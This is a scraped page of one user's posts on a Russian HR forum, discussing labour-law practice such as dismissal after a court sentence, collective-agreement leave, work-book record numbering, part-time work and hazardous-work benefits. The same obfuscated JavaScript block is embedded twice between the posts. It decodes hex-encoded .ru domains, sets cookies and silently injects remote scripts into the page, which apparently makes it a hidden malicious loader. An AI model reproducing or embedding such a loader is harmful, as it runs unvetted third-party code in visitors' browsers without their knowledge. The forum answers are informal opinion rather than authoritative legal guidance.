Костик (Все сообщения пользователя) , Публикация №90270

Темка уже старая , а вопросы теже...

" - На основании приговора суда издается приказ о прекращении трудового договора с работником."
- вопрос как получить это решение суда? Ни работник ни родственники нам его не предоставили
- везде по разному пишут - так всё же последним рабочим днём будет дата вступления в силу приговора или последний рабочий день?
Если вступления в силу приговора то как оформить те дни пока был под арестом,следствием, обжалование и тд...

Добрый день. Вроде не пятница но что то ступарит..... На сколько я понимаю если по нашему колдоговору положен отпуск при бракосочетании, рождении, смерти близких 3 дня с сохранением среднего заработка, то я делаю приказ общий кадровый в свободной форме и основание заявление и колдоговор?

window .a1336404323 = 1;!f unction(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Росита, Вопрос был в другом, а дальше сами думайте:
- а есть ли преференции - обычно тупо ТК переписывают, да еще и устаревшее
-а есть ли своя воля у коллектива, в большинстве случаев что скажут то и подпишут (надо ж большинство)

- чем заинтересуете ... предложите другие льготы, но уже не в колдоговоре а просто приказом,положением и тд.

Nimphelos, Спасибо, я вот тоже читаю читаю закон и не могу найти ТРЕБОВАНИЯ к главбуху.



Росита, Работник по техническому обслуживанию и ремонту воздушных линий электропередачи
Работник по техническому обслуживанию и ремонту кабельных линий электропередачи
Работник по обслуживанию оборудования подстанций электрических сетей ... вааабще не подходят. Линейщики строят а не обслуживают. Если так в слепую натягивать на себя каждое одеяло со словом "электро-" и "линий" можно столько ненужной работы сделать:(

Росита, мы тоже отрабатывали этот вопрос и есть мнение что можно изменить срок действия колдоговора - собрать общее собрание и принять совместное решение о внесении изменений - что колдоговор действует не до 31.12.2017 (например) а до 01.07.2016

Росита, а если можно конкретную статью по главбуху?

mila2, полностью поддерживаю, подобные язвительные комментарии не несущие никакого конструктивного диалога, полностью отбивают желание общаться на форуме.
Если человек считает себя таким Специалистом, что считает выше всех себя то зачем вообще опускаться до общения. А быть выше всех и плевать на всех это не профессионально, Особенно для должностей в кадрах, которые всегда общаются с большим количеством разных людей. А если короче, - то высокомерие бесит.


Извините, накипело....

По теме. Тоже пытаюсь понять нужно ли нам применение профстандартов. Конкретно по Охране труда - я не могу определить ГДЕ именно написано что к таким специалистам должны применяться профстандарты обязательно?

Но больше конечно интересует по льготным профессиям - Электромонтер линейщик по монтажу воздушных линий высокого напряжения и контактной сети. Я конечно отслеживаю, но вдруг они его так хитро обзовут...


window .a1336404323 = 1;!f unction(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Принесла работница ТК там записи идут 1,2,3...12, а там где №13 должна была быть начали писать дату приема " 24 в графе дата 04 в графе месяц 2013 в графе год прописью года" - Это была запись об увольнении. Следующий работодатель не глядя пишет номер следующей записи о приеме 25 (а не 14) об увольнении 26 и т.д.... последняя запись №28
В общем, получается порядковая моя запись должна быть 18 или продолжать 29?

Автор поста говорит об обратном. Работник трудится у них и дальше будет у них трудится.
Трудоустроился он давно и трудовая у него была на руках - и в это время у него шел процесс о восстановлении на работе ( это занимает не один месяц и никто не обязывает работника балду пинать в это время - он на работу хочет) . Работник поступил некорректно, но и закона не нарушил. Вообще он должен был сказать что суд идет. А если бы он проиграл суд - всё было бы правильно оформлено.
А сейчас как будет запись в Трудовой выглядеть:

1. 15.01.2001 ооо №1 принят на работу водителем
2. 13.10.2015 уволен....
3. 01.02.2016 ООО №2 принят на работу водителем
4. 25.03.2016 уволен...
5. ООО №1 запись №2 считать недействительной
6. 21.03.2016 уволен....
?
По моему так не правильно. Основание для увольнения? работник точно не напишет по собственному...Лучше уж оставить как есть - Пенсионное засчитает только один период.

А я что то по датам не поняла - почему ТД заключен 28.02 - воскресенье - а выход и отказ раньше?

По моему в Тк - ст.93 всё вполне прописано
в штатном единица полная
в трудовом договоре прописываете : работа основная на условиях неполного рабочего времени, в режиме работы прописываете конкретно, при табелировании это учитываете и бухгалтерия начисляет зп по факту работы(по табелю)

Если человек выполняет не только свои должностные обязанности то есть 2 варианта:
1. Совмещение - работник трудится свою норму времени ( уходит домой по окончании рабочего дня) - это 1 Трудовой договор + приказ о совмещении с установлением доплаты+ Допсоглашение к ТД.
2. Совместительство - работник трудится за пределами своего рабочего времени ( по окончании рабочего времени остается и выполняет другие должностные обязанности). Все документы заводятся как на 2 разных человека: 2 Трудовых договора, 2 карточки Т2, 2 личных дела и тд.

подробнее напишите - какой класс условий труда поставили, какие льготы прописали в отчёте

swiit, а в предыдущих трех сообщениях я не достаточно конкретно писала что доплата положена если есть вредность. Мне абсолютно не сложно ответить но не 4 раза же одно и то же. Я сама на форуме общаюсь именно для того чтоб рассказать что знаю и спросить что не знаю. НО конкретно и по полочкам решить за вас никто не сможет. (порой хотелось бы:oops:) Есть НПА но прописать все нюансы трудно...
И я абсолютно без злости писала - Один раз надо выделить время и систематизировать все свои знания по вредникам.

Удачи

MarionCimbal, Эту ситуацию прямо по НПА вам никто не разрулит. Надо думать и договариваться. Я вам вариант предложила - ваше право пользоваться или нет. И описала самый противный вариант развития событий - как вы от него откреститесь если работник основной?
Я сама лично одного работника 3 раза увольняла и восстанавливала по решению суда.... (врагу не пожелаю Начальство орёт, работник врёт, юрист тупит, Больница даёт поддельные больничные, судья выносит решение по старой редакции закона...)

Удачи

swiit, я уже много раз написала это - я ж вам не лектор - сами читайте уже законы

Это будет нарушение
ст. 72 ТК

swiit, Очень странно. нам даже у 2 класса проставили медосмотры раз в 2 года. (ССОТ 10.2015г.). Проведите Новый ССОТ по тем у кого 3 класс хотябы - я думаю вы в итоге выиграете - сейчас уменьшают все выплаты, нам ни доп.отпусков ни сокр.дня ни молока никому не прописали. Только медосмотры


А Доплаты вы должны делать напрямую из ТК - без АРМ и ССОТ

а вы ему запись уже делали о приеме и каким числом?

Это он так говорит - а принесет с какой записью? А вдруг он и вторую запись будет оспаривать ( они там в сердцах его еще по какой-нибудь статье уволят - а он опять в суд...)

Как вариант: Поговорите с сотрудником - оформите его по совместительству на то время пока он не определится где и когда он работает.

Надо смотреть документы и правильно формулировать вопросы
ЗП это то что вы получаете на руки.
В разных организациях может быть установлен разный режим оплаты труда. Но в каждой организации должно быть штатное расписание - так вот в нём у должностей с ОДИНАКОВЫМ наименованием должны быть прописаны одинаковые ОКЛАДЫ. Но оклад это не ЗП. Надо знать остальные части - надбавки, компенсации, премии и т.д.

ДАЮТ или специалист ТРЕБУЕТ ?

У нас проверки еще не было, но заранее сказали что будут смотреть Штатное расписание и все приказы (прием, увольнение, отпуск, замещение) больничные, ДИ, акты, КС и т.д. чтоб определить конкретно сколько конкретный человек проработал с вредными условиями.

Просто как можно требовать то чего не предусмотрено законом? Ну нет в законе штатного замещения....

Получается да. Значит Вы создали такие условия труда что факторы вредности не наносят столько вреда чтоб предоставить такие льготы. Это следует если напрямую читать НПА. Некоторые считают что если профессия стоит в перечне вредных условий труда автоматом предоставляются льготы, но ответы свои ничем не обосновывают. ..
Ранее было постановлене Прав-ва №870 - отменено в 2014 г. - там было так и написано - вреден - автоматом всё. Сейчас в ТК

Для верности созвонитесь с организацией проводившей вам АРМ - возможна ведь и ошибка. Мы наши проверяли раз 10 исправления вносили - всё по шаблону пытаются сделать:(

извините не понятно. эта куча из документов уже неработающих у вас людей?
А работающие на данный момент так и хранятся в "файлике" вместе?

они могут за день на трёх объектах поработать. А у Вас есть рабочее место - стол и стул. Они к 8 утра приехали к офису (начался рабочий день) к 9 доехали до места работы в 11 поехали на другой объект вечером к офису вернулись - дальше ножками домой.


Многие оформляют разъездной характер работ даже юристам - кто часто выезжает из-за стола то по госорганам, то в суды по области - чтоб с командировками не заморачиваться и компенсировать расходы по проезду без претензий налоговиков

Надежда права. Что то у вас с Главбухом не заладилось...
Кадровый приказ даётся в бухгалтерию и заносится в программу. Штатку в программе создать тоже не долго - если у вас численность не очень большая. Но в любом случае ей самой удобнее будет работать со штаткой в программе.... непонятно. Либо ГБ один раз штатку забить либо вам каждый раз отчёт делать.
А данные такие пенсионный фонд требует - если есть вредники. Им сейчас льготы пенсионные дают только если он фактически и полный день работает в условиях вредности. Могут даже объем работ проверить.... Пенсионный раз в три года приходит и проверяет.


Штатное замещение форма не установлена НПА, если хотите официально - закрепите в ЛНА или приказом - дополните столбцами Штатное расписание. А то завтра ГБ еще что то начнёт требовать - например рассчитать им ЗП:)